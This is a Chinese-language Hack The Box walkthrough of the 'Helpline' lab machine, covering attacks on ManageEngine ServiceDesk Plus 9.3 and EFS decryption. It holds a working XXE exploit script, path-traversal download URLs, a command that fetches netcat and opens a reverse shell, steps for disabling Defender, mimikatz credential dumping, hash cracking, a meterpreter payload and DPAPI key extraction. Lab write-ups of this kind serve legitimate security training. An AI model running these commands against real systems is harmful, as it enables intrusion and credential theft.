Helpline 是一个困难的靶机,知识点涉及 EFS 解密和 ME SDP 的多个漏洞,包括 XXE 漏洞、LFI\任意文件下载漏洞、身份认证绕过漏洞以及远程代码执行漏洞等.
通关思维导图
0x01 侦查
端口探测
首先使用 nmap 进行端口扫描
nmap -Pn -p- -sV -sC -A 10.10.10.132 -oA nmap_Helpline
复制代码
扫描结果显示目前靶机开放了 135、445、5985、8080 以及 49667 端口
445 端口
使用 smbclient 和 smbmap 查看默认共享,结果显示访问被拒绝
smbclient -N -L //10.10.10.132
smbmap -H 10.10.10.132 -v
复制代码
【一>所有资源获取<一】1、很多已经买不到的绝版电子书 2、安全大厂内部的培训资料 3、全套工具包 4、100 份 src 源码技术文档 5、网络安全基础入门、Linux、web 安全、攻防方面的视频 6、应急响应笔记 7、 网络安全学习路线 8、ctf 夺旗赛解析 9、WEB 安全入门笔记
8080 端口
访问后是一个 ManageEngine ServiceDesk Plus 站点,版本为 9.3
在 ManageEngine ServiceDesk Plus 存在两个默认账户
administrator/administrator
guest/guest
复制代码
administrator 无法登陆,尝试登陆 guest 账户可成功进入应用,
在Solution
选项卡中可以看到Password Audit
点进去后发现存在一个 excel 表格
下载打开后只有三个表
通过 binwalk 分解该表格发现其中其实存在四张表,说明原来有一张表被隐藏了
binwalk -e Password+Audit.xlsx
复制代码
选择工作表右键,点击取消隐藏发现Password Data
工作表
在该表格中包含一些密码和文件路径C:\temp\Password Audit\it_logins.txt
,在路径对应的文件中可能包含一些登录信息
0x02 上线[system]
ME SDP 漏洞
ManageEngine ServiceDesk Plus 的 9.3 版本存在许多漏洞,下面将利用这些漏洞来对该应用进行攻击
XXE 漏洞(CVE-2017-9362)
在 CMDB API 中的 INPUT_DATA 字段中添加 CI 时会造成 XML 外部实体注入攻击,攻击者可在发送数据时将任何系统文件包含到 payload 当中,根据该漏洞可编写脚本如下:
import requests
import sys
xxe = """<!DOCTYPE foo [<!ENTITY xxe15d41 SYSTEM "file:///{filepath}"> ]><API version='1.0' locale='en'>
<records>
<record>
<parameter>
<name>CI Name</name>
<value>Tomcat Server 3 0xdfstart&xxe15d41;0xdfstop</value>
</parameter>
</record>
</records>
</API>
"""
def get_file(ip_address, filepath):
login_url = "http://"+ip_address+":8080/j_security_check"
api_url = "http://"+ip_address+":8080/api/cmdb/ci"
login_data={"j_username": "guest", "j_password": "guest", "LDAPEnable": "false", "hidden": "Select a Domain", "hidden": "For Domain", "AdEnable": "false", "DomainCount": "0", "LocalAuth": "No", "LocalAuthWithDomain": "No", "dynamicUserAddition_status": "true", "localAuthEnable": "true", "logonDomainName": "-1", "loginButton": "Login", "checkbox": "checkbox"}
with requests.Session() as s:
s.post(login_url, data=login_data)
xxe_data={"OPERATION_NAME": "add", "INPUT_DATA": xxe.format(filepath=filepath)}
response = s.post(api_url, data=xxe_data)
try:
print(response.text[response.text.index("0xdfstart") + len("0xdfstart"):response.text.index("0xdfstop")].replace("\\r\\n","\n"))
except ValueError:
print("Error: No data returned")
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} [ip] [filepath]\nfilepath can be file on target, or smb or http uri")
sys.exit(1)
get_file(sys.argv[1],sys.argv[2].replace("\\", "/"))
复制代码
尝试获取win.ini
,能够成功读取win.ini
python3 xxe.py 10.10.10.132 "C:\windows\win.ini"
复制代码
尝试读取以上的密码文件中的密码
python3 xxe.py 10.10.10.132 "C:\temp\Password Audit\it_logins.txt"
复制代码
成功拿到账号密码为alice/$sys4ops@megabank!
任意文件下载(CVE-2017-11511)
除了 XXE 漏洞以外,ME SDP 9.3 由于对下载文件的 URL 路径名限制不当,因此还存在任意文件下载漏洞。攻击者可通过..\
进行目录穿越下载目标文件。与请求 C 盘的 win.ini 不同,在报错信息中则显示 ME SDP 安装在 E 盘。尝试获取其备份文件的日志信息,默认访问路径为E:\ManageEngine\ServiceDesk\bin\SDPbackup.log
http://10.10.10.132:8080/fosagent/repl/download-file?basedir=4&filepath=\..\..\..\..\..\..\manageengine\servicedesk\bin\sdpbackup.log
复制代码
在日志中记录了组成数据库备份文件的具体位置,文件名分别如下:
backup_postgres_9309_fullbackup_04_12_2019_17_43_part_1.data
backup_postgres_9309_fullbackup_04_12_2019_17_43_part_2.data
复制代码
使用 wget 通过任意文件下载漏洞把它们下载下来
wget "http://10.10.10.132:8080/fosagent/repl/download-file?basedir=4&filepath=\..\..\..\..\..\..\manageengine\servicedesk\backup\backup_postgres_9309_fullbackup_03_08_2019_09_04\backup_postgres_9309_fullbackup_03_08_2019_09_04_part_1.data"
wget "http://10.10.10.132:8080/fosagent/repl/download-file?basedir=4&filepath=\..\..\..\..\..\..\manageengine\servicedesk\backup\backup_postgres_9309_fullbackup_03_08_2019_09_04\backup_postgres_9309_fullbackup_03_08_2019_09_04_part_2.data"
复制代码
解压下载后发现其中包含许多 SQL 文件
unzip backup_postgres_9309_fullbackup_03_08_2019_09_04_part_1.data
unzip backup_postgres_9309_fullbackup_03_08_2019_09_04_part_2.data
复制代码
在aaapassword.sql
和aaalogin.sql
中存在我们需要的账户名以及哈希值
经过整理后哈希值如下且哈希类型为bcrypt
$2a$12$6VGARvoc/dRcRxOckr6WmucFnKFfxdbEMcJvQdJaS5beNK0ci0laG
$2a$12$2WVZ7E/MbRgTqdkWCOrJP.qWCHcsa37pnlK.0OyHKfd4lyDweMtki
$2a$12$Em8etmNxTinGuub6rFdSwubakrWy9BEskUgq4uelRqAfAXIUpZrmm
$2a$12$hmG6bvLokc9jNMYqoCpw2Op5ji7CWeBssq1xeCmU.ln/yh0OBPuDa
$2a$12$6sw6V2qSWANP.QxLarjHKOn3tntRUthhCrwt7NWleMIcIN24Clyyu
$2a$12$X2lV6Bm7MQomIunT5C651.PiqAq6IyATiYssprUbNgX3vJkxNCCDa
$2a$12$gFZpYK8alTDXHPaFlK51XeBCxnvqSShZ5IO/T5GGliBGfAOxwHtHu
$2a$12$4.iNcgnAd8Kyy7q/mgkTFuI14KDBEpMhY/RyzCE4TEMsvd.B9jHuy
复制代码
bcrypt 函数的输入是密码字符串(最多 72 个字节)、一个数字成本和一个 16 字节(128 位)的盐值。盐通常是一个随机值。它使用这些输入来计算 24 字节(192 位)散列。最终输出以下形式的字符串:
$2<a/b/x/y>$[cost]$[22 字符盐][31 字符哈希]
复制代码
例如:输入密码 abc123xyz、成本 12 和随机盐,bcrypt 的输出是字符串
$2a$12$R9h/cIPz0gi.URNNX3kh2OPST9/PgBkqquzi.Ss7KIUgO2t0jWMUW
\__/\/ \____________________/\_____________________________/
Alg 成本盐哈希
复制代码
幸运的是,我们可以使用 hashcat 进行破解
hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt --force
复制代码
最终成功破解后三个密码,与用户名组合后整理如下:
zachary_33258/0987654321
fiona/1q2w3e4r
mary/1234567890
复制代码
身份验证绕过
除了通过 guest 账户登录应用外,我们还可以通过/mc
目录来绕过 administrator 的登录验证。
首先访问/mc
目录并注销已经登陆的 guest 账户
输入账号密码均为 administrator,其实密码任意输入也没关系,但用户名不能发生变化
成功登录目标系统
在 0xdf 大神的博客中讲述多条线路进行突破,分别是在 kali 下运用 administrator 账户获取 system 权限以及在 Windows 下使用之前获取的 Alice 用户通过 WinRM 进行权限提升,相比 Windows 下的操作,我更喜欢使用 kali 来完成
远程命令执行
通过权限绕过我们已经拿到了管理员用户,在Admin
管理模块上存在Custom Triggers
远程命令执行漏洞
点击Add New Action
设置新的触发器
在Action
中设置触发器脚本,将触发优先级设置为高并设置用于反弹 shell 的脚本命令
cmd /c powershell iwr -uri 10.10.14.4/nc64.exe -outfile c:\windows\system32\spool\drivers\color\nc.exe; c:\windows\system32\spool\drivers\color\nc.exe -e cmd.exe 10.10.14.4 443
复制代码
保存完成后在本地监听 443 端口
与此同时开启 http 服务
python -m Simple HTTPServer 80
复制代码
在请求页面中新建请求并将优先级设置为高
请求运行后查看本地监听发现已返回 system 权限
0x03 突破 EFS
Windows 上的加密文件系统( EFS )是 NTFS 3.0 版中引入的一项功能,可提供文件系统级加密。该技术使文件能够被透明地加密,以保护机密数据免受对计算机进行物理访问的攻击者的侵害。
EFS 加密解密都是透明完成, 如果用户加密了一些数据, 那么其对这些数据的访问将是完全允许的, 并不会受到任何限制。而其他非授权用户试图访问加密过的数据时, 就会收到“拒绝访问”的错误提示。
与一般的加密软件不同,EFS 加密不是靠双击文件,然后弹出一个对话框,然后输入正确的密码来确认的用户的。EFS 加密的用户确认工作在登录到 Windows 时就已经进行了,不需要提供额外的密码。只有使用适当的账户登录,才能打开相应的加密文件。所以解密 EFS 的核心就是如何获取到对应用户的身份凭证。
用户进程突破 EFS
日志信息收集
虽然拿到了系统权限,但是 flag 都经过 EFS 加密,因此导致我们无法读取。
type c:\Users\Administrator\Desktop\root.txt
复制代码
尝试上传 mimikatz 进行密码破解,但是无法执行
cd c:\windows\system32\spool\drivers\color\
powershell iwr -uri 10.10.14.4/mimikatz.exe -outfile m.exe
.\m.exe
复制代码
这是因为它已经被 Windows Defender 所隔离,我们可以制作免杀 mimikatz 或禁用 Windows Defender,在这里我选择了后者。(话说免杀 mimikatz 也不难,有手就行)
powershell Set-MpPreference -DisableRealtimeMonitoring $true
powershell iwr -uri 10.10.14.4/mimikatz.exe -outfile m.exe
.\m.exe
复制代码
继续运行它获取密码,但是结果还是显示报错
privilege::debug
sekurlsa::logonpasswords
复制代码
这个问题已经在 GitHub 中得到了反馈,解决方法是我们需要一个老版本的猕猴桃来完成上传
powershell iwr -uri 10.10.14.4/mimikatz2.exe -outfile m2.exe
.\m.exe
复制代码
下载一个老版本 mimikatz 并运行
privilege::debug
lsadump::sam
复制代码
通过整理后发现以下用户及其对应的 NTLM 哈希值
Administrator
Guest
alice
zachary
leo
niels
tolu
复制代码
其中唯一可以破解成功的是zachary/0987654321
,但是该用户并非管理员权限
继续查询发现该用户位于日志权限读取组中,据此推测日志中可能会会有存密码,尝试查询日志
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321 > eventlog.txt
type eventlog.txt | findstr tolu
复制代码
在日志中发现泄漏的账号密码为tolu/!zaq1234567890pl!99
,同时该用户还是管理员权限
日志文件中出现用户名和密码。这就说明该用户可能已经登陆,借助 MSF 可注入该用户进程
MSF 进程注入
使用 msfvenom 生成 exe 类型木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.4 lport=4444 -f exe -o msf.exe
复制代码
在本地开启 smb 共享并设置账号密码
python3 smbserver.py -smb2support -username mac -password mac share /root/hackthebox/Machines/Helpline
复制代码
在本地设置 msf 监听
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.10.14.4; set lport 4444; exploit -j;"
复制代码
通过 smb 共享来运行该执行程序
net use \\10.10.14.4\share /u:mac mac
\\10.10.14.4\share\msf.exe
复制代码
成功收到 meterpreter 会话,查看进程
但是其中只发现了leo
的进程,并没有发现tolu
的进程,难道又是哪出现了问题?所幸查询了leo
用户权限后发现leo
也是管理员权限,话不多说直接注入该用户的explorer.exe
进程
meterpreter > migrate 4584
复制代码
在该用户桌面上发现密码文件admin-passs.xml
,根据文件名猜测可能是 administrator 的密码
meterpreter > load_powershell
meterpreter > powershell_shell
PS > cd C:\Users\leo\Desktop
PS > ls
复制代码
但是密码显示为密文,我们尝试通过 poweshell 将其转换为 administrator 的登陆凭证
PS > type admin-pass.xml
PS > $s = cat admin-pass.xml
PS > $ss = Convertto-securestring -string $s
PS > $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist "administrator", $ss
PS > $cred.GetNetWorkCredential().password
复制代码
成功读取到密码为mb@letmein@SERVER#acc
,既然有了 administrator 的凭证,尝试读取其桌面下的root.txt
,但还是显示报错
PS > Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost
PS > Invoke-Command -ScriptBlock { type C:\Users\Administrator\Desktop\root.txt } -Credential $cred -Computer localhost
复制代码
通过-auth CredSSP
来进行认证,从而绕过 EFS 并成功读取到 flag
PS > Invoke-Command -ScriptBlock { type C:\users\administrator\desktop\root.txt } -Credential $cred -Computer localhost -auth credssp
复制代码
证书解密 EFS
揭秘 EFS 指南:https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files解密 EFS 文件可根据 mimikatz 中的指南来进行操作。根据指南我们首先需要获取用户的公钥证书以及对应密钥,证书地址位于用户目录的AppData\Roaming\Microsoft\SystemCertificates\My\Certificates
,使用 mimikatz 可获取公钥证书信息并保存为 der 文件,同时可发现对应密钥的容器;密钥地址位于用户目录的AppData\Roaming\Microsoft\Crypto\RSA
,使用 mimikatz 可获取私钥信息并从中找到生成该密钥的主密钥名;主密钥位于用户目录的\Users\Administrator\AppData\Roaming\Microsoft\Protect\
,以发现密钥容器 ID 为路径可在其中找到用于生成以上密钥的主密钥;使用 mimikatz 借助 administrator 账户的密码解密主密钥,生成的 key 以及 sha1 就是主密钥的值;之后使用 mimikatz 封装私钥为 pvk 文件,将作为公钥的 der 文件和作为私钥的 pvk 文件传入本地,在本地使用 openssl 转换为 pem 格式并最终生成 pfx 文件,将 pfx 安装至靶机当中即可获取到对应的权限,从而完成 EFS 解密
读取 root.txt
切换到 system 用户寻找 administrator 用户的公钥证书,在目标路径下拿到公钥为FB154575993A250FE826DBAC79EF26C211CB77B3
cd C:\Users\administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates
dir /a /b
复制代码
使用 mimikatz 可获取证书信息并保存,同时发现密钥的容器为3dd3e213-bce6-4acb-808c-a1b3227ecbde
,但是一般情况下容器 ID 并不会指向密钥
crypto::system /file:"C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\FB154575993A250FE826DBAC79EF26C211CB77B3" /export
复制代码
在目录C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA
中尝试获取私钥,发现一个容器 ID 为S-1-5-21-3107372852-1132949149-763516304-500
,其中可能存放着私钥文件
cd C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA
dir /a /b
复制代码
继续探索发现隐藏的密钥文件d1775a874937ca4b3cd9b8e334588333_86f90bf3-9d4c-47b0-bc79-380521b14c85
cd S-1-5-21-3107372852-1132949149-763516304-500
dir /a /b
复制代码
使用 mimikatz 查看对应的私钥,该私钥由主密钥9e78687d-d881-4ccb-8bd8-bc0a19608687
生成
dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-500\d1775a874937ca4b3cd9b8e334588333_86f90bf3-9d4c-47b0-bc79-380521b14c85"
复制代码
根据目录C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\
和获取到的容器S-1-5-21-3107372852-1132949149-763516304-500
找到加密的主密钥9e78687d-d881-4ccb-8bd8-bc0a19608687
cd C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-3107372852-1132949149-763516304-500
dir /a
复制代码
使用 mimikatz 通过 administrator 的密码来解密主密钥9e78687d-d881-4ccb-8bd8-bc0a19608687
,解密成功后生成的 key、sha1 就是主密钥的值
dpapi::masterkey /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-3107372852-1132949149-763516304-500\9e78687d-d881-4ccb-8bd8-bc0a19608687" /password:mb@letmein@SERVER#acc
复制代码
使用 mimikatz 将私钥封装为 pvk 文件
dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-500\d1775a874937ca4b3cd9b8e334588333_86f90bf3-9d4c-47b0-bc79-380521b14c85"
复制代码
将私钥生成的 pvk 与公钥生成的 der 文件通过 smb 共享复制到本地
net use \\10.10.14.4\share /u:mac mac
copy \windows\system32\spool\drivers\color\raw_exchange_capi_0_3dd3e213-bce6-4acb-808c-a1b3227ecbde.pvk \\10.10.14.4\share\
copy \windows\system32\spool\drivers\color\FB154575993A250FE826DBAC79EF26C211CB77B3.der \\10.10.14.4\share\
复制代码
利用 openssl 将拿到的 pvk 以及 der 导出为 pem 格式,通过它们生成 pfx 文件,里面存储了 adminisrator 的私钥以及与之有关的证书链
openssl x509 -inform DER -outform PEM -in FB154575993A250FE826DBAC79EF26C211CB77B3.der -out public.pem
openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_3dd3e213-bce6-4acb-808c-a1b3227ecbde.pvk -out private.pem
openssl pkcs12 -in public.pem -inkey private.pem -password pass:mac -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
复制代码
通过 smb 共享将生成的 pfx 文件放回靶机当中并安装
copy \\10.10.14.4\share\cert.pfx \windows\system32\spool\drivers\color\cert.pfx
certutil -user -p mac -importpfx \windows\system32\spool\drivers\color\cert.pfx NoChain,NoRoot
复制代码
安装完成后即可读取root.txt
type c:\\users\administrator\desktop\root.txt
复制代码
读取 user.txt
在 tolu 用户的桌面上我们可以发现 user.txt
dir c:\Users\tolu\Desktop /b
复制代码
同理我们需要解密 tolu 用户的 EFS,首先需要获取公钥证书
dir C:\Users\tolu\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates /a /b
复制代码
在 mimikatz 中寻找证书信息并导出
crypto::system /file:"C:\Users\tolu\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\91EF5D08D1F7C60AA0E4CEE73E050639A669\2\F29" /export
复制代码
在目录C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011
找到密钥容器307da0c2172e73b4af3e45a97ef0755b_86f90bf3-9d4c-47b0-bc79-380521b14c85
dir C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\ /a /b
dir C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011 /a /b
复制代码
使用 mimikatz 查看对应的私钥,该私钥由主密钥2f452fc5-c6d2-4706-a4f7-1cd6b891c017
生成
dpapi::capi /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011\307da0c2172e73b4af3e45a97ef0755b_86f90bf3-9d4c-47b0-bc79-380521b14c85"
复制代码
使用 mimikatz 通过 tolu 的密码来解密主密钥2f452fc5-c6d2-4706-a4f7-1cd6b891c017
,解密成功后生成的 key、sha1 就是主密钥的值
dpapi::masterkey /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Protect\S-1-5-21-3107372852-1132949149-763516304-1011\2f452fc5-c6d2-4706-a4f7-1cd6b891c017" /password:!zaq1234567890pl!99
复制代码
使用 mimikatz 将私钥封装为 pvk 文件
dpapi::capi /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011\307da0c2172e73b4af3e45a97ef0755b_86f90bf3-9d4c-47b0-bc79-380521b14c85"
复制代码
将私钥生成的 pvk 与公钥生成的 der 文件通过 smb 共享复制到本地
copy \windows\system32\spool\drivers\color\raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk \\10.10.14.4\share\
copy \windows\system32\spool\drivers\color\91EF5D08D1F7C60AA0E4CEE73E050639A669\2\F29.der \\10.10.14.4\share\
复制代码
利用 openssl 将拿到的 pvk 以及 der 导出为 pem 格式,通过它们生成 pfx 文件,里面存储了 tolu 的私钥以及与之有关的证书链
openssl x509 -inform DER -outform PEM -in 91EF5D08D1F7C60AA0E4CEE73E050639A669\2\F29.der -out public-1.pem
openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk -out private-1.pem
openssl pkcs12 -in public-1.pem -inkey private-1.pem -password pass:mac -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert-1.pfx
复制代码
通过 smb 共享将生成的 pfx 文件放回靶机当中并安装
copy \\10.10.14.4\share\cert-1.pfx \windows\system32\spool\drivers\color\cert-1.pfx
certutil -user -p mac -importpfx \windows\system32\spool\drivers\color\cert-1.pfx NoChain,NoRoot
复制代码
安装完成后可成功读取user.txt
type c:\\users\tolu\desktop\user.txt
复制代码
评论